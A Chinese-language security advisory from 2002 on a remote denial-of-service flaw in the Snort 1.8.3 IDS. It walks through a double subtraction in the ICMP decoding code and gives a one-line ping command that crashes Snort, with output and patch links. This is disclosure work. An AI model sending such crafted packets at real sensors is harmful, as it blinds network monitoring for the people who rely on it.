发现者:Sinbad
公布日期:2002年1月11日
漏洞类型:远程拒绝服务
受影响的版本:
Snort 1.8.3 build 88
测试的平台:
Linux
漏洞分析:
Snort是一个轻量级开放源代码的网络IDS,它包含了丰富的攻击特征库,能够实时检测到网络中的攻击企图和异常情况。
漏洞存在于源代码decode.c中对ICMP协议进行解码的函数DecodeICMP(),作者先从IP数据包中减去ICMP首部长度得出ICMP数据部分的长度:
p-dsize = (u_short)(len - ICMP_HEADER_LEN);
我们注意到,decode.h头文件中定义的ICMP首部长度是8个字节:
#define ICMP_HEADER_LEN 8
看看ICMP数据包的结构图,首部的8个字节包括了Type,Code,Checksum,ID和SEQ。
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ -
| Type | Code | Checksum | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 8字节
| ID | SEQ | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ -
| DATA |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
但是,在解析Echo Reply和Echo Request包时又从p-dsize中减去了id号和seq号的长度(4个字节),见下面的代码:
case ICMP_ECHOREPLY:
/* setup the pkt id ans seq numbers */
p-dsize -= sizeof(struct idseq); //这里
p-data += sizeof(struct idseq);
break;
case ICMP_ECHO:
/* setup the pkt id and seq numbers */
p-dsize -= sizeof(struct idseq); //这里
/* add the size of the
* echo ext to the data
* ptr and subtract it
* from the data size */
p-data += sizeof(struct idseq);
break;
没搞错吧,第一此减去8已经是DATA长度了,现在又减去4,这是啥长度?Come on,我给你一个DATA部分小于4的数据包:
# ping -c 1 -s 1 192.168.0.1
看你怎么计算:
# snort -dv host 192.168.0.3 and 192.168.0.1
-* Snort!
Version 1.8.3 (Build 88)
By Martin Roesch (roesch@sourcefire.com, www.snort.org)
192.168.0.3 - 192.168.0.1 ICMP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:29 DF
Type:8 Code:0 ID:9435 Seq:0 ECHO
Segmentation fault (core dumped)
呵,core dumped……
如何修补:
Snort的作者Marty发布了patch,很简单,就把ICMP_HEADER_LEN改成了4,这将包含在build 90版本中:
http://www.securityfocus.com/archive/1/249623
另一哥们chris把第二次减去4的代码给注释了,非拉着我一起发布安全公告:
http://footclan.realwarp.net/index.php?h=foot-20020111
我最初贴在bugtraq上的邮件:
http://www.securityfocus.com/archive/1/249340